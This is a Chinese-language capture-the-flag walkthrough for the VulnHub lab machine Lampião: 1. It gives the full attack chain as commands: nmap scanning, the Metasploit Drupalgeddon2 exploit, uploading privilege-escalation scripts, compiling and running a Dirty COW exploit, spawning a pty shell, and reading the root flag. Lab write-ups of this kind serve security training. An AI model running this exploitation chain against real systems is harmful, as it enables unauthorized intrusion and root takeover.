环境搭建: Lampião: 1 ~ VulnHub
1、信息收集:
题目没有给出靶机的账号密码。所以我们无法直接获取到靶机的IP。
这里我们利用nmap扫描,获取靶机的Ip
- 这里我虚拟机设置的24网段为
- 用
nmap 192.168.0.0/24
- 获取到 靶机的ip 192.168.0.3
这里是通过靶机开放的80端口来判断是不是靶机Ip的。
因为namp默认扫描的是常用的端口,如果靶机没有80端口。
也可以通过nmap -p 1-65535 192.168.0.0/24
来扫描全端口 - 全端口扫描结果
可以发现多了一个1898端口 - 浏览器访问查看一下
这应该就是靶机网站了
- 在网页下面可以看到网页所使用的CMS为Drupal
2、web漏洞利用(msf):
- 利用msf 查看是否存在相应的漏洞
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
设置目标地址与端口
set rhost 192.168.0.3
set rport 1898
run
成功获取到web权限。
getuid
查看权限,常见的web用户权限
也可以用shell
id
查看
3、内核提权:
- 上传提权脚本
- 这里我将下面给出的两个提权脚本上传到kali的/home/kali目录下
upload '/home/kali/linux-exploit-suggester.sh' /tmp/1.sh
这里我上传了2个提权脚本,方便后面做对比
脚本下载:
GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
GitHub - peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) - 更改提权脚本权限
chmod +x 1.sh
./1.sh
- 根据脚本检测结果进行利用
重点关注这些高亮的
2.sh也可以检测到这些 - 进行提权
这里我们利用CVE-2016-5195
GitHub - gbonacini/CVE-2016-5195: A CVE-2016-5195 exploit example.
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
编译
除了使用shell命令,还可以用Python启一个终端。这里面会更容易操作
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
执行编译后的文件
su root
成功获取root权限
- 获取flag
cd /root
cat flag.txt